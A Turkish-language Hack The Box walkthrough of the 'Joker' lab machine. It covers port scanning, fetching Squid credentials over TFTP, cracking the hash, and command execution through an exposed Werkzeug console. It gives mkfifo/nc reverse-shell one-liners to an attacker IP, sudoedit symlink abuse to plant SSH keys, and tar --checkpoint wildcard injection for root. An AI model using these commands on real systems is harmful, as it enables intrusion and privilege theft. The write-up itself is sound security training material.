Hack The Box: Joker Çözümü

1
1890
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Joker isimli Zor zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Joker sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.21
  • İşletim Sistemi: Linux

 

A) Port Tarama

Port taraması sonucunda 2 adet portun açık olduğu tespit edilmiştir.

nmap -n -Pn –top-ports 2000 -T5 10.10.10.21

 

Detaylı tarama ile servisler ile ilgili bilgi de elde edilebilmektedir.

nmap -sV -sC -O 10.10.10.21

 

Açık portlar aşağıdaki gibidir:

  • 22/tcp
  • 3128/tcp

Not: UDP servisi ile tarama yapıldığında 2 servisin muhtemelen açık olduğu görülmektedir. Bunlardan birisi LLMNR, diğeri ise TFTP‘dir.

 

B) SSH Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\22 portunda çalışan SSH servisinin sürümünde (OpenSSH 7.3p1) herhangi bir zafiyet bulunmadığı tespit edilmiştir.

 

C) Squid Proxy Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\3128 portunda çalışan Squid servisinin sürümünde (Squid http proxy 3.5.12) herhangi bir zafiyet bulunmadığı tespit edilmiştir.

 

D) Squid Proxy Üzerinden Erişim Sağlanması

Squid Proxy bir çeşit vekil uygulamadır.

 

TCP\3128 portuna web tarayıcı ile bağlanışmaya çalışıldığında işe yarar bir cevap alınamamaktadır.

 

Öncelikle “nikto” aracı ile dizin taraması gerçekleştirilir. Bunun için aşağıdaki komut kullanılabilir.

nikto -h http://10.10.10.21 –useproxy http://10.10.10.21:3128

 

Ancak kimlik bilgisi ihtiyacı olduğu için herhangi bir sonuç elde edilememiştir.

Web tarayıcısında vekil sunucu olarak bu servis gösterilerek gelen sayfa incelenebilir. Bu amaçla özel uygulamalar kullanılabilir.

 

Veya web tarayıcı ayarlarındanda manuel olarak bu işlem gerçekleştirilebilir.

 

Sonuç olarak “nikto” aracı çıktısında da görüldüğü gibi bir kimlik bilgisine ihtiyaç olduğu görülmektedir.

 

Squid servisine ait yapılandırma ayarları “/etc/squid” dizinindeki “squid.conf“, kimlik bilgisi değeri ise “passwords” dosyasındadır. Bu dosyalara erişim için TFTP servisi kullanılacaktır.

 

E) TFTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, UDP\69 portunda muhtemelen TFTP servisinin çalıştığına dait bir sonuç elde edilmiştir. Bu servis, veri transferi gerçekleştirmeye yarayan bir protokoldür. Bu protokolde, kimlik doğrulamanın olmaması en büyük dezavantajlarından biridir.

 

Servisin gerçekten çalıştığından emin olmak için UDP üzerinden çalışan bu servise erişmek gereklidir.

tftp 10.10.10.21
get /etc/passwd

 

F) HTTP Servisine Erişim Sağlanması

Squid servisine ait yapılandırma ayarları ve kimlik bilgileri TFTP servisi üzerinden elde edilebilmektedir.

tftp 10.10.10.21
get /etc/squid/squid.conf
get /etc/squid/passwords

 

Yapılandırma dosyasının (“/etc/squid/squid.conf“) içeriği aşağıdaki gibidir.

cat squid.conf | grep -v ^\#|grep .

 

Kimlik bilgisini içeren dosya (“/etc/squid/passwords“) da aşağıdaki gibidir.

 

Hashcat aracı ile bu dosyanın (“passwords“) içerisindeki MD5 (APR) formatındaki parola özet değeri, açık metin olarak elde edilebilmiştir.

hashcat -h | grep APR
hashcat -m 1600 hash /usr/share/wordlist/rockyou.txt

 

John aracı ile de bu dosyanın (“passwords”) içerisindeki parola, açık metin olarak elde edilebilmektedir.

john -wordlist=[Sozluk Dosyasi] passwords

 

Elde edilen parola bilgileri aşağıdaki gibidir.

  • ihateseafood (kalamari)

Bu kimlik bilgisi kullanılarak Squid proxy servisi üzerinden hedef sistemin üzerinde TCP\80 portunda çalışan web servise erişim sağlanabilmiştir.

 

Bu kimlik bilgileri kullanılarak “nikto” aracı ile dizin taraması gerçekleştirildiğinde “/console” dizini keşfedilebilmiştir.

dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r

 

G) Ters Bağlantı Elde Etme: Werkzeug

“/console” dizinine erişildiğinde Python komutlarının çalıştırılabileceği bir konsol (Python Interpreter) ile karşılaşılmaktadır.

http://127.0.0.1

 

Erişilen bu konsolda işletim sistemi üzerinde komut çalıştırılabildiği görülmüştür.

import os
os.popen(“whoami”).read()

 

Python ile TCP üzerinden ters bağlantı elde etmeye çalışıldığında başarılı olunamamaktadır.

import os
os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 8090>/tmp/f &”).read()

 

Bunun sebebi işletim sistemindeki güvenlik duvarı olabileceği için iptables yapılandırma ayarları incelenmek üzere kodlanmış olarak alınır.

os.popen(“find /etc | grep iptables”).read()
os.popen(“base64 -w 0 /etc/iptables/rules.v4”).read()

 

Base64 ile kodlanmış olarak alınan bu ifadeler açık metne dönüştürüldüğünde, kurban makineden dışarıya doğru olan TCP erişimlerinin bloklandığı görülmektedir.

echo “[Base64 Kodlanmis Veri]” > rules
cat rules | base64 -d

 

Ters bağlantı elde edebilmek için “nc” aracı UDP taleplerini dinleyecek şekilde ayarlanır.

nc -u -lvnp 8090

 

“/console” dizininde aşağıdaki komut çalıştırılır.

os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.25 8090>/tmp/f &”).read()

 

Böylece, ters bağlantı elde edilmiş olur.

CTRL – Z
stty raw -echo
nc -u -lvnp 8090
bash

 

Not:nc” aracı yerine “socat” aracı ile de talep yakalanabilir.

socat file:tty,echo=0,raw udp-listener [Dinlenen_Port]

 

H) SudoEdit Aracı Zafiyeti ile Yatay Hak Yükseltme: Werkzeug -> Alekos

Kurban makineye uygulamanın çalıştığı “werkzeug” kullanıcısı yetkisi ile erişilmişti. Bu kullanıcının “sudoedit” aracını bir bir dosya için (“/var/www/*/*/layout.html“) “alekos” gibi çalıştırabilme (bu dosyayı düzenleme) yetkisi vardır.

sudo -l

 

İşletim sisteminde “sudo” paket bilgisi aşağıdaki gibidir.

 

“sudoedit” aracına ait zafiyetler incelendiğinde, bir hak yükseltme zafiyeti ile karşılaşmıştır.

searchsploit sudoedit

 

Zafiyet detayları incelendiğinde, dosya yolunun içeriğinde iki adet yıldız (wildcard) ifade olduğunda, işletim sistemindeki herhangi bir dosya okunabilir.

searchsploit -x exploits/linux/local/37710.txt

 

Zafiyetin istismarı için “/var/www/” dizininin herhangi 2 dizin altındaki “layout.html” dosyasına (sembolik link verilen başka bir dosyaya) yazma işlemi yapılması gerekir. Bu amaçla “alekos” kullanıcısının “authorized_keys” dosyası “layout.html” dosyasına link verilir.

cd testing
ls
mkdir orhan
cd orhan
ln -s /home/alekos/.ssh/authorized_keys layout.html

 

Oluşan sembolik link görülmektedir.

ls -la

 

sudoedit” aracı ile “layout.html” dosyası açılabilir ve düzenleme gerçekleştirilebilir.

 

Bu dosyanın içeriğine bir SSH genel (public) anahtarı konularak, “alekos” gibi SSH yapılabilecektir. Bu amaçla, saldırgan makinesinde öncelikle SSH anahtar çifti oluşturulur.

ssh-keygen
/root/Desktop/ssh
cat ssh.pub

 

Genel anahtar (“ssh.pub” dosyası) içeriği, daha önce “sudoedit” aracı ile açılan “layout.htlm” dosyasına yazıldığında, bu anahtar aslında “/home/alekos/.ssh/authorized_keys” dosyasına yazılmış olacaktır. Kopyalama işleminden sonra, özel (private) anahtar (“ssh” dosyası) ile SSH gerçekleştirilebilmiştir.

ssh -i ssh alekos@10.10.10.21
ls

 

Böylece, “user.txt” dosya içeriği elde edilebilmiştir.

 

I) Tar Aracı ile Dikey Hak Yükseltme: Alekos -> root

Alekos kullancısının masaüstündeki “backup” dizininde sahibi “root” olan dosyalar bulunmaktadır.

cd backup
ls -l

 

Bu dosyalar sıkıştırılmış dosya formatındadır.

file dev-1576359901.tar.gz

 

Sıkıştırılmış dosya açıldığında, “/home/alekos/development” dizininin içeriğinin arşivlenmiş olduğu görülmektedir.

 

Not: Arşivleme işleminin sebebi “/root/backup.sh” dosyasının 5 dakikada bir çalışmasıdır.

 

Bu dosyadan da görüldüğü gibi, “tar” aracı yıldızlı (wildcard) olarak kullanılmaktadır. Bu durum zafiyete sebep olmaktadır.

 

I.1) “tar” Yapılandırmasının İstismarı İle Dosya Okuma

Zafiyetin istismarı için önce orijinal “/home/alekos/development” dizininin adı “development.bak” olarak değiştirilir. Sonra da “/root/” dizini “/home/alekos/development” olacak şekilde sembolik link oluşturulur.

ls
mv development/ development.bak
ln -s /root/ development
ls -la

 

Bir süre (5 dakikadan daha az süre) sonra, “/home/alekos/development” dizininin (gerçekte ise “/root/” dizini) yedeği, “/home/alekos/backup” dizininin içerisine sıkıştırılmış dosya olarak alınmış olur.

ls -la
tar -xvf dev-1581913201.tar.gz
cat root.txt

 

I.2) “tar” Yapılandırmasının İstismarı İle Komut Satırı Erişimi Elde Etme

Komut satırı elde edebilme ile ilgili detaylı bilgi için kaynaklardaki Siberportal bağlantısı incelenebilir.

Öncelikle yedeği alınacak olan dizinde “–checkpoint=1” ve “–checkpoint=exec=sh shell.sh” dosyaları oluşturulur.

touch — –checkpoint=1
touch — ‘–checkpoint=exec=sh shell.sh’

 

“shell.sh” dosyasının içerisine çalıştırılması istenen (ters bağlantı sağlayacak olan) komutlar yazılır.

#!/bin/bash
rm /tmp/i;
mkfifo /tmp/i;
cat /tmp/i|/bin/sh -i 2>&1|nc -u 10.10.14.25 8081 >/tmp/i

 

Bir süre (5 dakikadan daha az süre) sonra, “shell.sh” dosyası çalışır ve ters bağlantı elde edilmiş olur.

nc -u -lvnp 8081
id
whoami

 

Kaynaklar:

https://medium.com/@orhan_yildirim/joker-hackthebox-write-up-cf732d2a2c82
https://resources.infosecinstitute.com/topic/hack-the-box-htb-walkthrough-joker/
https://www.jdksec.com/hack-the-box/joker
https://offs3cg33k.medium.com/joker-htb-walkthrough-4ad694901aee
https://ezploisite.it/htb-writeup-joker/#
https://www.hackingarticles.in/hack-the-box-challenge-joker-walkthrough/
https://www.siberportal.org/red-team/linux-penetration-tests/linenum-betigi-ile-tespit-edilen-zamanlanmis-gorev-betiginde-hatali-joker-karakteri-kullanimi-tar-araci-ile-hak-yukseltme#tar-joker

 

 

 

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

1 YORUM

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.